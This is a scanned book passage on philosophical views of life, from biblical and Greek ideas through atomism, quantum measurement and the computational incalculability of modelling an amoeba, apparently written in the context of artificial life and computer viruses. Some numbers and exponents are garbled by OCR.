different, and sometimes superficially conflicting ways, it is very
real and pervasive.

I would not be surprised if every culture that is or ever was
expressed this respect in one form or another, and thus had some-
thing to say about what life is and how to treat it. Although perhaps
many cultures have something valuable to contribute to our under-
standing of what life is, I will concentrate primarily on western
civilization. My reasons are twofold: Firstly, this is the area with
which I am most familiar. Secondly, western ideas are important
because science was born in western culture, so through it western
ideas about life have attained a global importance. And since we
are discussing science, western ideas are particularly relevant to
our discussion.
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The ideas which have informed occidental men about life from
ancient times are rooted in Greek philosophy and the Bible. These
strands of thought cannot be viewed as separate and antagonistic.
Rather, they have been closely intertwined throughout history, and
they have often informed and infiltrated one another.

Apart from the statement that God created all life, the Bible has
very little to say about the nature of life in general. It says a lot
about humanity, but very little about any other organisms. Often
people infer that what the Bible teaches about man applies to some
extent to other creatures as well, but these ideas are not developed
in the text itself. Perhaps the most telling thing we can learn from
the text comes from the words used to describe life. In Hebrew, one
word for “life” is nefesh,' which literally means breath. The word
usually translated “spirit” is ruach—Iliterally wind. The Bible says
that life (nefesh) is in the blood? and that to spill the blood is to spill
the life. If we read such terms literally, they appear to be purely
functional statements about what life is. However, they clearly have
some metaphysical content as well. This subtle marriage of the
natural and the supernatural in describing life is not uncommon
among the ancients. However, little more than this is spoken
generally about living organisms in the Bible.

The Bible—especially the New Testament and some of the
later, prophetic writings—paints a vivid picture of a supernatural
world with life after death, angels and demons, rewards and pun-
ishments, and heaven and hell. However it appears this world
belongs solely to God, man, and its other heavenly inhabitants. On
the question of where all the other many and varied forms of life in
this world fit into that scheme, we draw a blank.

Because the Bible itself is relatively silent regarding the philo-
sophical nature of life in general, western society—even during its
most orthodox Christian periods—has largely looked to the more
speculative greek tradition for an understanding of what life is.

1 For example, Genesis 9:4.
2 Leviticus 17:11; the blood carries oxygen—breath?
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There are four major schools of thought among the Greeks that
are worth taking at least a brief look at. These can be broadly
categorized as mysticism, atomism, the so-called harmony theo-
ries, and the Platonic/Aristotelian school of thought. Each had
something to say which has formed our thinking about life right
down to the present day. Before delving in, however, we need to
better understand the words which the Greeks used to talk about
life.

Unlike the Hebrews, the Greeks had quite a variety of words
at their disposal. There were matter-of-fact terms like bios, which
describes a state of life, or manner of living, and zoe, which is a
general term for the property of life in an animal, or life as opposed
to death. However there are also the more theoretical terms like
psuche and thumos, which denote terms closer to our own theologi-
cal ideas of soul and spirit. The psuche was understood as the “sign
of life” or soul, which also (possibly) survived after physical death,
but it, too, had the meaning of “breath.” The thumos was seated in
the psuche, and it had to do with the seat of feeling, emotion and
thought. Thumos derives from thuo, which suggests a storm, violent
motion, rushing wind, or strong desire. Again we find the terms
wind and breath closely tied to life, with a deeper metaphysical
connotation being quite clear throughout many of the writings of
the ancient Greeks. Most of the discussions about life which the
greek philosophers carried on revolved around the meaning and
nature of the word psuche.

In the most ancient greek mythology, the psuche was some-
thing of an entrapped god, a mystical, supernatural being in a body.
At death, this being left the body and went to Hades, at least for a
period of time. Some believed in reincarnation, where the psuche
would return to inhabit another body after a period of time, possibly
being rewarded or punished in its new life for the sins of the past
life. All of this theology focused on man, of course, and it has
perhaps little to do with what we are talking about here.

Atomistic thinking, which dates back to Democritus (about 400
BC) and his disciples, Lucretius and Epicurus, was a radical break
from greek mythology. They sought to understand the universe in
terms of small, indivisible units, called atoms. There were four
different kinds of atoms: earth, water, air and fire. In trying to
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explain everything in terms of these atoms, they of course sought
to describe life— psuche—in terms of them too. Since fire was the
smallest and most mobile type of atom, and since it was capable of
causing motion (e.g. boiling water), the life-force was thought to
be a type of fire, interspersed throughout the body. The body would
continually lose these soul-atoms, and could maintain the necessary
balance for life by inhalation, which brought them back in. Differ-
ent philosophers came up with variations on this theme. For exam-
ple, the Epicureans thought the life-force consisted of two parts,
one located in a specific area of the body (be it the head, the heart,
or somewhere else), and a part which was dispersed throughout the
body.

Whatever the variation, atomists taught that the property of life
was the result of the presence of a physical substance, or atomic
structure. These ideas about life are commonly classified as mate-
rialist or substantialist theories.

The so-called harmony theory of life, usually associated with
Philolaus and Empedocles, is also materialist in a sense. However
its proponents did not view psuche as a material substance, but
rather as a harmony, or proper ratio of material substances in the
body. Like a musical instrument properly tuned, or a properly
mixed chemical reaction (to use modern terms), a body could live
if its substance was properly balanced and working together. In this
school of thought, the psuche is not a material substance, but neither
is it a transcendent supernatural entity.

Plato and Aristotle formulated a sophisticated challenge to the
materialist/substantialist theory of life. Plato seems rather confus-
ing on the subject of life. As a moral philosopher, his primary
concern was for man, and most of his discussions revolve around
man. In The Last Days of Socrates, he lays out elaborate plans in
which the psuche survives death, goes to Hades, etc., etc., obviously
borrowing from greek mythology. In the Timaeus, he espouses a
form of Pythagorean number magic, in which the psuche is de-
scribed in terms of numbers and their properties.

Plato’s ideas may not be very clear, or well developed, yet he
laid a groundwork which Aristotle was able to build on. Plato was
the first to divide the psuche into different parts. He did this
differently at different times. For example, he divided it into reason
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and emotion, or into a higher, immortal part, and a lower, mortal
part. He also developed the theory of forms which Aristotle used
extensively in trying to understand the world. Most importantly,
Plato was clearly searching for a non-materialist understanding of
life. He did not divide the psuche into atoms, or physical parts, but
saw it more in terms of psychological or mental states.

Aristotle was perhaps the most prolific writer on the subject of
life. He wrote a number of books on the subject, examining all
different kinds of life-forms, describing their physiognomy, their
habits, classifying them and philosophizing about what life is.
Aristotle approached the subject of life much like a modern biolo-
gist, seeking a general concept of what life is. However, as a student
of Plato’s, he sought a non-materialist understanding of life. He
used Plato’s ideas about forms as the basis for his work, rather than
indulging in the same kinds of metaphysical and mythological
speculations that his teacher did.

Aristotle’s central work on the subject of what life is, is
commonly known by its Latin title De Anima.’ E.g., “On the
psuche” , usually translated into English as “On the Soul.” He
describes a living, ensouled being as something which can produce
movement and which may have intellect or perception. He breaks
movement down into spatial movement, and movement connected
with nourishment, growth, and perception. The psuche—the life
principle—is then a form with these properties. When matter is
endowed with this form it is alive. Aristotle suggested that living
organisms could have different kinds of psuches. For example,
plants have a psuche which admits of nutritive and reproductive
motion, but not locomotive motion or perception.

At this point, you may be wondering what a form is. Good. You
ought to be. Think of the word ““form” in the sense of a mold which
defines the character, shape and function of an object. But also think
of it as an archetypal idea. For example, a carpenter has an idea in
mind when he makes a chair or a table. That idea is like a mold,
which defines the shape of the object being constructed. Normally,

3 E.g. “On the psuche”, usually translated into English as “On the Soul”.
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when we think of an idea, though, we imagine it as being someone’s
idea, be it our own, or another person’s, or even God’s. The idea is
a phenomenon of mind. In contrast, Plato and Aristotle seemed to
view these forms as fundamental realities. They were not a phe-
nomenon of this natural world, or of some supernatural world. They
were not someone’s idea, but rather Ideas which existed whether
anyone thought of them or not.

Yet one cannot go so far as to say that these forms were the
only ultimate realities in the thinking of Plato and Aristotle. For
example, Aristotle believed in a God who was the prime mover in
the universe—the origin and source of all things and all activity.
What ultimate reality consisted of for these philosophers is often
unclear, because they don’t lay down a plan in any authoritative
manner and stick to it. Since they did not depend on the authority
of some scriptural cannon, they spoke of what seemed reasonable
to them. And that changed from time to time.

Plato’s mysticism makes his idea of life appear rather clearly
supernatural. Aristotle, by staying away from mysticism, gives us
a picture of life which is not purely natural, like the atomists, yet it
is not supernatural in the sense we normally think of supernatural.
For Aristotle, there was a form—an idea—behind each living
organism. This form was not a part of the material world, and yet
it defined the qualities of an object in the material world. It is not
the fact that an object had a form associated to it that made it alive,
but the nature of that form. Everything had forms associated to
them in Plato and Aristotle’s system. A chair did. A rock did. A
lizard did. However, only the lizard had a form that imparted to it
the ability to move, grow, procreate, and perceive what was hap-
pening to it. That form made it alive.

Now, as I said before, these ancient ideas were not simply
isolated schools of thought. Platonic philosophy had a great influ-
ence both within the church and in Jewish thought in ancient times.
The Christian world-view ascended to predominance as the classi-
cal world collapsed (intellectually and politically) between the 4th
and 6th centuries AD. Aristotle, whose works had been lost to the
west for centuries, was rediscovered by way of Islamic culture in
the 11th and 12th centuries, and hotly debated by theologians like
Thomas Aquinas and Averroes. These thinkers effectively inte-
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grated Aristotelian and Christian thought. With the revival of
classical culture during the renaissance, one finds strong elements
of both mysticism and atomism making their way into western
thought. So these different schools of thought have informed each
other and antagonized each other throughout history.

In summary, then, the ancient greeks have handed down the
following conflicting ideas to us:

1. The property of life is a natural phenomenon, either (a) a
substance present in the body, or (b) a proper organization of the
substance of the body.

2. The property of life is not a natural phenomenon. it is either (a)
a mystical, spiritual property, or (b) the result of a form or idea
imposed upon the matter.

While the Bible is vague about life in general, its view of man
is of the spiritual and mystical nature. Yet its view of life apart from
man is perhaps not too different from Aristotle’s line of thinking.
Genesis says God created the different animals after their kind
(Hebrew meen) several times.* One is tempted to substitute the
word form here. It seems to fit. The text obviously suggests there
was an idea of some type behind the making of each of the various
creatures. Of course, one cannot really view the biblical idea of kind
in terms of some sort of self-existent Idea. The idea is clearly God’s
idea. None the less, the thought that there is an idea behind the
organism sounds very Aristotelian.

So now we have an idea about what the ancients had to say
about life. Obviously we could delve into the subject in great detail.
Instead, I simply refer the reader to Hans Regnell’s Ancient Views
on the Nature of Life.>

4 See Genesis 1.
5 Hans Regnéll, Ancient Views on the Nature of Life (CWK Gleerup, Lund,
Sweden:1967).
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Modern Science

The debate over the nature of life which began in ancient
Greece thousands of years ago has continued right up to the present
day. A superficial examination of modern science, and scientist’s
opinions might lead one to conclude that the atomistic school of
though has won an astounding victory over Plato and Aristotle and
over the mystics. Our understanding of the microscopic details of
the universe have changed dramatically since ancient times. And
most modern scientists, if questioned about it, would probably
favor the idea that all phenomena in the universe—Ilife included—
could in principle be reduced to basic physics. This is the essence
of the atomistic philosophy.

However this pervasive idea that atomism is ultimately correct
is a matter of blind faith to most scientists, not proven fact. It is
almost a sort of touchstone for the brotherhood of scientists, a
measuring stick for how “scientific” some idea is. But in actual
practice, atomism is often quickly jettisoned as a practical tool for
understanding our world in favor of a much more Aristotelian
approach. This is a fundamental paradox of modern science.

Let me illustrate this paradox with an example from physics
that strikes to the core of what I’m talking about. Up until the 1920°s
Newtonian mechanics was supposed to be the correct description
of' how all things worked, from subatomic particles to galaxies. The
fundamental law of Newtonian mechanics is

F=ma 10.1

Force equals mass times acceleration. Apply a force F to an object
with mass m and it will accelerate according to this law. In the
1920’s quantum mechanics was formulated to account for experi-
mental deviations from Newtonian mechanics in the subatomic
realm. The fundamental law of quantum mechanics is the Schrédin-
ger equation,
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This says that the wavefunction '—which is a sort of probability
distribution—evolved in time proportionally to the action of the
Hamiltonian operator on it. These two laws are radically different.
One might wonder, can the law F=ma be derived from the
Schrodinger equation? Since everything is made up of subatomic
particles, one would expect the Schrodinger equation to be some-
how more fundamental. Thus, one would expect Newton’s laws to
result from a proper reduction of the Schrédinger equation. Such a
reduction has been accomplished to a certain extent. One can
mathematically show that properly formed wave packets do obey
Newton’s law, within limits. Yet the problem goes much deeper.
The whole way of understanding how the world works in quantum
mechanics is radically different than in Newtonian mechanics.
Quantum theory is a world of probabilities; Newton’s is a world of
deterministic certainty. How are the two reconciled? This is a deep
question which has not been resolved in seventy years. To deal with
probabilities, quantum theory introduces the idea of the observer
as separate from a physical system under observation. The observer
accomplishes what is called state vector reduction when he makes
measurements on the system he’s observing to determine its state.
This observer is fundamental to the whole of quantum theory. If
you try to do away with him, and incorporate him into the wave-
function, you come up with nonsense.

Erwin Schrodinger tried to confront this problem by proposing
a thought-experiment in which a cat is put in a box, along with a
vial of cyanide which would be broken based on whether a single
photon was reflected from a 50% silvered mirror. If the photon was
reflected, the vial would be broken and the cat would die. If the
photon was transmitted, the vial would not be broken, and the cat
would live. According to quantum theory, the probability that the
photon would be reflected was 50%. So, arguably, inside the box,
you’d have a wavefunction in which the cat was 50% alive and 50%
dead. With no observer, you had not accomplished state vector
reduction, so this half-alive and half-dead state should persist until
you opened the box and looked to see what happened. This obvi-
ously borders on insanity, but that is exactly what quantum me-
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chanics would predict! You could even put a man in a space suit in
the box, and he would be part of the system. What would he
observe? Would he have a double existence, in which half saw the
cat dead, and half saw it alive? To date, no one has resolved these
questions.

So we have some deep and fundamental questions: How is it
that a mechanistic theory about subatomic particles requires us to
invoke the idea of an intelligent observer? And how is it that the
determinism of Newtonian mechanics is reconciled with prob-
abilistic quantum mechanics only by invoking such an intelligence?
These are not easy questions. And they haven’t been fully answered
in seventy years. Yet scientists do not shy away from using both
Newtonian and quantum mechanics. One cannot properly say that
quantum mechanics is complete without the idea of an observer.
And that is about as non-atomistic as you can get. Likewise, if you
can’t build a solid connection between Newtonian and quantum
mechanics, you can hardly deny that Newtonian mechanics leaves
something to be desired in atomistic, reductionistic terms. Its very
determinism can’t be rooted in atomistic reality!

I chose this example because it may very well be that there is
a rigorous solution to the problem. For example, Roger Penrose
suggests that the answer may lie in a proper understanding of
quantum gravity.® Certainly his ideas have some merit, although
they are very speculative at this point in time. The point is, even
though it may be possible to remove the idea of the observer from
quantum mechanics, most scientists are quite willing to live with
having that idea bound up in their theory. This is a classic example
of how radical atomism is jettisoned in good conscience by scien-
tists.

Now, if we are to come to a sufficiently deep understanding of
life to formulate some believable opinions on our great question
“Is it really alive?” we have to understand this controversy be-
tween atomism and Aristotle. I think the whole controversy comes

6 Roger Penrose, The Emperor’s New Mind (Oxford University Press, New
York:1990) pp. 348-371.
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to a head when we talk about life, and especially about artificial
life. Both sides of the debate find legitimate expression in the life
sciences. Biochemists work hard to reduce biology to physics via
chemistry. Psychologists speak of concepts like ego, consciousness
and mind, which have no established theoretical basis in the mate-
rial world.

I believe the debate between atomism and Aristotle is funda-
mentally irresolvable. The atomist tries to tear the world apart into
fundamental units and their interaction. This tearing-down has a
way of making Aristotelian-style ideas look awkward, or even
meaningless. For example, how does ego fit into a collection of
atoms which obey quantum mechanics? The idea fails at that level.
Yet, when the atomist is done tearing everything apart, he has a
hard time building it back up again. When asked to describe a
behavior pattern that we all readily recognize as a “big ego”, he
fails miserably.

I don’t want to simply take sides in this debate behind your
back and become merely a sophist arguing dishonestly for my side.
Rather I’d like to look at both sides—I hope fairly— perhaps offer
some ideas of my own, and leave the final decision up to you. My
feeling is that although physics has been able to teach us much
about life, it is not the key which unlocks every door, as many would
have us believe. There seem to be some serious problems with this
atomistic world-view, which I’d like to explore in the next two
chapters. These are not merely philosophical obfuscations either.
They have a direct bearing on two of the mechanical aspects of life
we have already discussed: emergent behavior and self-reproduc-
tion.

Frankly, I think the AL community has erred in being rather
too quick to adopt a radical atomism. Anyone who is going to create
something and call it actually alive has to deal with these issues. It
may be fine for some relatively obscure group of academic re-
searchers to hide in atomism. Their very obscurity will shield them
from criticism. However, I doubt I could afford that luxury if I were
to come out and say that the virus in your computer is alive, and
you should respect it and let it be fruitful and multiply rather than
kill it. Besides, our final understanding of viruses will become more
interesting when we take a broader view of the landscape.
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Emergent Behavior
Revisited

Now I’d like to return to the idea of emergent behavior. As you
will remember, we left our earlier discussion of emergent behavior
with a somewhat queasy feeling. We weren’t quite sure if the
phenomenon was even real, or if it was just the perception of our
limited minds. Certainly it would be nice to resolve this question.
If emergent behavior is not real, then we shouldn’t bother ourselves
with it. If it is real, it could be a very important ingredient in
understanding our world.

My feeling is that emergent behavior is real, at least in nature,
but I must say that timidly. The consequences of real emergent
behavior in nature cut to the core of the atomistic understanding of
our world which has so permeated science for the past few centu-
ries. So first, let me give you enough background to appreciate how
radical emergent behavior could be.

Atomism, Causality and Simplicity

In essence, modern materialistic atomism is based on two
philosophical assumptions: The first is the causality principle. This
principle may be stated as follows: “Given the (correct) laws of
physics and an exact specification of the initial state of a closed
system, one could in principle calculate the state of that system for
all time to come.” In other words, the universe is fully governed
by natural law, since the closed system could be the universe as a
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whole.! The second assumption is that the laws of nature are in
some sense simple, discoverable, and understandable.

The causality principle is philosophical and not scientific. In a
strict sense, for a statement to have scientific content it must be
falsifiable.? That is, it must be possible to do an experiment which
could show that a statement is not true (if it is incorrect). For
example, one can do experiments based on Maxwell’s laws of
electrodynamics. If those laws were incorrect, the experiments
would illuminate the fault. The causality principle cannot be falsi-
fied in this manner. Obviously, any observation in the natural world
can be accounted for either by using the laws we know, or by
postulating an as-yet-unknown law that is at work. That as- yet-un-
known law is virtually omnipotent at explaining the unexplained.
We can invoke unknown law to explain everything—even walking
on water.

The second assumption—that natural law is somehow sim-
ple—is also philosophical in nature. In fact, the idea is rooted in
Christian culture, and the idea that God is a rational being who
created a rational universe that could be understood by rational men
created in His image.

Without these ideas (possibly in a weaker form) one can
imagine that scientific exploration might grind to a halt. If we had
no reason to believe that a law existed that governed some new
phenomenon we observed, chances are we wouldn’t try to discover
what we knew didn’t exist. Likewise, if we believed that such a law
would be so messy or complex that knowing it would impart no
better understanding to the discoverer, and no more ability to solve
similar problems, we probably wouldn’t care enough to waste our
efforts trying to discover that law.

1 Philipp Frank, Philosophy of Science (Prentice Hall, Englewood Cliffs, New
Jersey:1957) pp. 278-296.

2 Karl Popper, Conjectures and Refutations, 2nd Ed. (Basic Books, New
York:1965) pp. 242ff. Popper is a philosophical activist in that he saw
philosophy should play an active part in defining how science works, and
drawing the lien between good and bad science. Falsifiability is one test for
good science.
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So both of these ideas are important to atomistic science, yet
they are not scientific. They are philosophical, just like atomism
itself, and we have no a priori reason to believe they are true.
However, the experience of the last four centuries has given us
reason to believe that these ideas contain some measure of truth
that will help us better understand our world.

In 1687 Sir Isaac Newton published his famed Philosophiae
Naturalis Principia Mathematica, in which he laid out his grand
physical theory of motion. This work was an astounding triumph
for science. Today, it is difficult to describe the full impact of what
Newton did, because we take it so for granted. Since ancient times,
the heavens were the dominion of the gods. Astrology—reading
the heavens for signs and portents of things to come—was common
and natural. It was understood that the heavens at least partly
obeyed mathematical laws, yet even in the 17th century, there was
plenty of room for mysticism. Then Newton reached out, and took
the heavens in hand, and brought them within the reach of every
day experience. With his law of gravitation, Newton succeeded at
describing planetary motion and putting it in the context of the
larger framework of a general understanding of motion and force.
The gods were chased out of the heavens forever.

The tremendous success of Newtonian mechanics during the
next four centuries continually encouraged scientists to push its
limits further. The laws of electromagnetism were unravelled.
Chemistry flourished. New frontiers brought new theories and
modifications of Newton’s original ideas, like field theories, quan-
tum mechanics, and special and general relativity.

Even life was brought under the umbrella of the new mechan-
ics. At first, simple biological activities were understood within the
limits which Newtonian mechanics placed on them. For example,
one can understand why someone can be seriously injured jumping
from a third floor window, but not by jumping off a chair, from a
simple analysis of the Newtonian dynamics of the fall. Next, simple
internal functions, such as muscular action, were understood within
the context of electrochemical processes. With time, the science of
life progressed from the simple to the complex microscopic prop-
erties of organisms. In all of these investigations, modern science
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has been tremendously successful in unravelling the mysteries of
life and bringing them into the light of our understanding.

At some point in this historical expansion of the ability of
deterministic mechanics to account for natural phenomena, that
mechanics became more than just a useful tool. It began to inform
people about the nature of ultimate reality itself. If deterministic
mechanics is so successful at describing our world, could it not be
the ultimate rational reality of the universe? Even the scientist who
believed in a Supreme Being saw that being as working through
natural law in the day-to-day world. If He did miracles, they were
not to be rationally explained. Rational and knowable reality took
the ultimate form of atomistic, deterministic mechanics.

The Cracks

Despite its apparent success, there are some fundamental
cracks in the big picture of the world which atomism paints for us.
When [ say “fundamental” I wish to distinguish between cracks
which point to the limitations of atomism and those which simply
point to the need for a new theory, or those which require more data
to fill. A classic example of a crack which points to the need for a
new theory is gravitation. We have a good classical theory of
gravity in general relativity. We also have a good idea that quantum
mechanics correctly describes subatomic phenomena. Yet we do
not yet have a workable theory which combines the two. A good
theory of quantum gravity would presumably help us answer
questions both in particle physics and astrophysics. Such a crack is
not fundamental because, although quantum gravity is hard, there
is no reason to believe that an adequate theory cannot be formu-
lated. It just has not been formulated yet.

A fundamental crack in the atomistic world-view is somewhat
like a brick wall which no amount of human effort will be able to
break through. It is an impenetrable barrier to an atomistic under-
standing of the universe. It is a fact of life which we shall have to
live with, our grandchildren will have to live with, and their
grandchildren will have to live with.

Cracks like this tell us that the atomistic world-view isn’t
foolproof, it isn’t quite adequate to explain the world as it is. In a
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sense, such cracks must be viewed as tentative. There is the
possibility that someday a new theory or new procedure will be
invented that can go around the crack, and expand the boundaries
of determinism.

Now, I’d like to discuss one crack which is pertinent to life
and emergent behavior here. Before we do that, though, I’d like to
discuss another crack which is much more well-established. This
will clarify the nature of a fundamental crack . . .

As we have already discussed, one of the truly radical implica-
tions of quantum theory is that it tied consciousness to physical
reality. In the Newtonian system of things one could, in principle,
observe a physical system without affecting it. For example, if one
used the proper kinds of measuring instruments, one could measure
the position and velocity of a falling ball as a function of time to
any desired degree of accuracy, and thereby verify Newton’s law
of gravitation. In quantum theory, however, Heisenberg’s uncer-
tainty principle forbids such idealism. Any measurement made on
a system affects that system and changes it, because all measure-
ments must be made using real apparatus, real particles, etc. For
example, if you want to locate a particle precisely, you must use
another high energy particle to do it. But that high energy particle
will disrupt the one you want to observe so that even if you know
where it was, you’re very unsure about where it is, now that you’ve
disrupted it. If you use a low energy particle to locate the one you’re
interested in, you won’t disrupt it very much, but you can’t tell very
precisely where it is.

That limitation introduces a degree of uncertainty into all of
quantum mechanics. With regard to anything that can be observed,
quantum theory makes predictions only in terms of probabilities.
Now, whole books have been written on the implications of this
uncertainty, and it is not my purpose to dig into the subject in great
detail. In essence, though, it puts a limit on our ability to know our
universe, because we cannot measure it without changing it. Thus,
we can ask apparently sensible questions—questions that we’d like
the answer to, but the theory says “you cannot ask that.” It also
links our consciousness to basic physics, because measurement is
a conscious activity. In other words, you cannot know the state of
a system without measuring it. However, by measuring it, you
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change its state in a not entirely determined way. The equations of
quantum theory reflect this uncertainty principle brilliantly. They
enforce it, in that they are not deterministic in the Newtonian sense.
They won’t allow you to ask the wrong questions.

Many physicists in the first half of the 20th century were very
uncomfortable with quantum theory because it did not allow accu-
rate predictions. Yet it seemed to accurately describe our world, so
it could not be easily dismissed. It was in discussing this troubling
aspect of quantum theory that Einstein made his famous comment
“God does not play dice.” He believed quantum theory was not an
ultimate answer—that there must be some underlying “hidden-
variable theory” which would resolve the uncertainty problem.’ By
now that generation of scientists has died off, and the scientists who
grew up with quantum uncertainties no longer question it because
of these peculiarities. For the most part, they are content to live with
a dose of uncertainty.

Yet, if quantum mechanics is a correct theory of ultimate reality
(and it makes a lot of sense to suggest that it is, since it is logically
consistent and very powerful and accurate) then it represents a
fundamental crack in the grand plan of atomistic determinism. Our
ability to deterministically understand the world we live in is
fundamentally limited by our finite ability to make measurements
on it, and the best you can do is speak statistically.

Incalculability

Now I’d like to move on to another crack which is more
pertinent to our discussion of life. It is a crack at the opposite end
of the spectrum from quantum mechanics. Rather than a limit at the
small end of things, it is a limit at the big end, where the magnitude
and complexity of a problem limits us. I call this crack incalcula-
bility. This idea is rooted in the difficulty atomism has in building
the world back up after it’s been torn down to “fundamentals.”

3 David Bohm, “Hidden variables in the Quantum Theory,” D. R. Bates, Ed.,
Quantum Theory (Academic Press, New York:1962) pp. 345-387.
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For centuries scientists have generally operated on the princi-
ple that nature is well behaved in the sense that if I change the initial
state of a system a little bit, the final result will change only a little
bit. For example, if I shoot a ball across a room, I can predict about
where it will land as long as I know the initial speed and angle of
launch. Yet I can only measure the speed with a finite degree of
accuracy. Typically, [ might say it was launched at 1.3 meters/sec-
ond. But what if it was really launched at 1.3000001 meters/sec-
ond? Normally, that’s no big deal. A small variation in initial
velocity will result in a small variation in the point of impact. If the
ball lands 2.9400003 meters down range instead of 2.94 meters, I
probably don’t care. But what if the small change in initial condi-
tions could cause a drastically different result in the end? If [ were
flipping a coin off the edge of the Grand Canyon, the difference
between 1.3 meters/second and 1.3000001 meters/second could
mean the difference between heads and tails at the bottom.

Again, suppose that some phenomenon, like the dynamics of
gasses in our atmosphere, could amplify small perturbations, rather
than damping them out. Then perhaps a butterfly flapping its wings
in Japan could perturb the atmosphere enough to cause a tornado
in Kansas some weeks later, and a drought lasting two years in
Siberia after that. In fact, there is some justification for saying this
is so. That is why it is so difficult to make long-term weather
forecasts, even with modern supercomputers.

The big problem with such amplification phenomena is that
they make it virtually impossible to determine the large scale,
interesting behavior of a system from its initial state. There are two
levels at which this difficulty sets in. The first is entirely practical.
In flipping a coin, it becomes impractical to set up equipment that
will measure the initial impulse, etc., accurately enough to make a
theoretical determination of how it will land. Likewise, if we want
to predict the weather for a certain period of time, we may not be
able to find a computer large enough and fast enough to do it. We
may not be able to find enough researchers to measure all the
required initial parameters, and even if we could, their very breath-
ing would change the results. These are practical limitations be-
cause we find ourselves saying “I need more accurate
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measurements” or “I need a bigger computer”—all practical con-
siderations.

However, there is another level of impossibility which could
conceivably set in—theoretical impossibility. At some point, we
can imagine that even if we took every atom in the universe and
put it to work in the memory of a computer of vastly greater
capabilities than anything we had today— perhaps one that could
store many bytes of data in an individual atom—it would still fall
short of having enough memory capacity to solve the problem. Or
imagine a computer much faster than anything we have today—say
one built of many parallel units that could do a floating point
operation in the time it takes a photon to traverse the diameter of
an atom (about 10726 seconds). Yet a calculation could become so
complex that such a computer could not complete the calculation
in the lifetime of the universe (assuming a closed, collapsing
universe).* These would be instances of theoretical impossibility,
in that no amount of human effort could solve the problem. The
realities of our physical world would impose real limits on what we
can know. When we ask questions that go beyond these limits, we
enter the realm of incalculability.

Obviously such an idea as incalculability must be viewed as
tentative, yet entirely possible. Given any amazing physical phe-
nomenon which we cannot calculate out, we do not know whether
some marvelous new theory will make the calculation of what we
want to know fairly easy. Likewise, we do not know that some
marvelous new invention, like a quantum computer, might be able
to outdo even our wildest ideas of “biggest” and “fastest.” We
certainly do not want to look like the poor bureaucrat who decided
it would be good to close the patent office since everything that
could be invented already had been.> At the same time, we should
realize that the tentative nature of incalculability is not different
than the tentative nature of quantum mechanics. The day could

4 Though you don’t need a closed, collapsing universe—the argument just gets
a little more complex.
5 This actually did happen in the good old USA.
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come when someone discovers a workable hidden variable theory
that removes the uncertainty from the world.

Despite its tentative nature, when one begins to take a look at
numbers, there certainly seems to be some ground for the idea that
some scientific problems could not be solved in theory. The num-
bers prove to be a big problem, not a little problem. In fact, they
are a bigger problem than the human mind can really comprehend,
and to invoke human ingenuity as a cure-all seems more than a little
naive. To see this, let’s take a look at what it would take to model
a single-celled amoeba using standard quantum mechanics: There
are roughly 10%° atoms in the universe. Suppose each atom could
hold not just one byte, but 10?° bytes (more than all the storage
media in the world today, combined). That gives roughly 10'%
bytes of storage available in our supercomputer.

However, to quantum mechanically describe a system with N
particles in it, one must know its wavefunction. This wavefunction
is basically a complex function in a space of 3N dimensions. To
model such a function on a computer, one typically specifies its
value at a number of discrete points for each dimension. The more
discrete points you use, the more accurate your calculation. A
calculation using 100 points per dimension will be more accurate
than one using 10, and less accurate than one with 1000. Let’s
assume for the sake of argument that we wanted to model the exact
wavefunction of a hypothetical one-celled creature on a computer,
to determine whether it is indeed alive. Suppose we could get
enough accuracy to do the job by specifying the wavefunction’s
value at 16 separate points in each dimension. Sixteen is probably
much too small a number for an accurate calculation, but we use it
for the sake of argument. Then, to specify the wavefunction, we
will require 16N floating point numbers. This figure gets huge very
rapidly. For a single particle we require 4096 complex numbers;
for two particles we require 16 million. A one-celled organism
consists of some 2x10'° atoms, so we are talking about

166x10 — 107.22x10

complex numbers. 1072*1% " is an unfathomably large number. It is

a 1 followed by 72,200,000,000 zeros. Without scientific notation,
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you couldn’t even write that number down in your lifetime if you
could put ten zeros per second down on a page.’ The number of
atoms in the universe is puny compared to this. You can write 103
down in about a minute. Although 1072%*!0 is a rather gross
estimate of what would be required—we’ve ignored some symme-
tries which would reduce the number, and some complexities which
would enlarge it—it makes the point: a careful quantum calculation
of a system’s behavior can conceivably move into a realm where
we cannot even begin an exact calculation. The numbers required
to do the calculation are so unfathomably huge that we have to
question their possibility even in the light of the potential for
amazing advances in computer technology.

Of course, one may object at this point that we can accurately
model a drop of water, or a crystal of salt—both of which may have
a lot more than 10'° atoms in them. What is the difference?

In the case of a drop of water or a crystal, we are only normally
concerned with gross behavior. The dynamics of a water drop when
it hits a hard surface is interesting, but generally well behaved. A
small change in initial conditions won’t affect the final result too
much. And we don’t care so much how the individual atoms
behave—only the aggregate. Likewise, in the salt crystal, we use
symmetry to study its behavior. Assuming that all the atoms are the
same and the structure of the crystal is periodic greatly simplifies
predicting its behavior. This simplification is possible because a
small amount of impurities in the crystal will only change it a little.
The (approximate) theories we use to describe such systems suc-
ceed in giving us the information we want to know while ignoring
details we are not interested in. As such, they greatly reduce the
complexity of doing calculations over any exact formulation. Yet
the very fact that they can ignore some of the details is based on
the idea that those details don’t change the outcome very much.

However, this gross simplification is not possible for every
system. If slight variations in the initial state can cause large

6 It would take 228 years, working 24 hours a day, 365 days a year, just to write
this number down without scientific notation!
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changes in the later behavior of a system, we must specify the initial
state very carefully. Likewise, we must model the system very
carefully. A slight fault in our equations of motion will result in a
devastating miscalculation. Be it a drop of water, the atmosphere,
or an amoeba, if the initial state must be too closely specified, or
the calculation must be too accurate, simple approximate theories
will not do, and we must specify everything in terms of quantum
mechanics or, worse yet, quantum field theory. In short, we get
driven back to the most fundamental forms of physics to get
reasonable answers. And exact theories always spawn complicated
calculations, because exact theories are microscopic, and depend
on many microscopic quantities.

Certainly living organisms, if anything, look like one of these
phenomena where small changes in initial conditions can grossly
affect the final results of a calculation. But do they fall into the class
of phenomena which are truly incalculable? From the numbers we
have looked at above, it is certainly possible. Only if a simplifying
theory of cellular dynamics could be constructed would we have a
reasonable chance of bringing a single-celled organism into the
realm of the predictable. Brute force quantum theory won’t do the
job, when it starts giving us numbers like 107-22*1% " Is there a hope
for such a simplifying theory? Certainly we can look into a cell and
understand how various parts of it work and get an idea of how the
whole works. That is a long way from a complete, atomistic theory
of behavior which is properly grounded on basic physics. Right
now, such a theory appears to be nothing but a dream. Let me
explain . . ..

Typically, biologists (and all scientists) stick to questions they
can reasonably hope to answer using the theories at their disposal.
They stay away from the questions their science has no hope of
tackling. Let’s delve into this forbidden realm with a little thought-
experiment:

Given an amoeba in a shallow pond, draw a one meter circle
about where it is located. Now, using any physical theory you
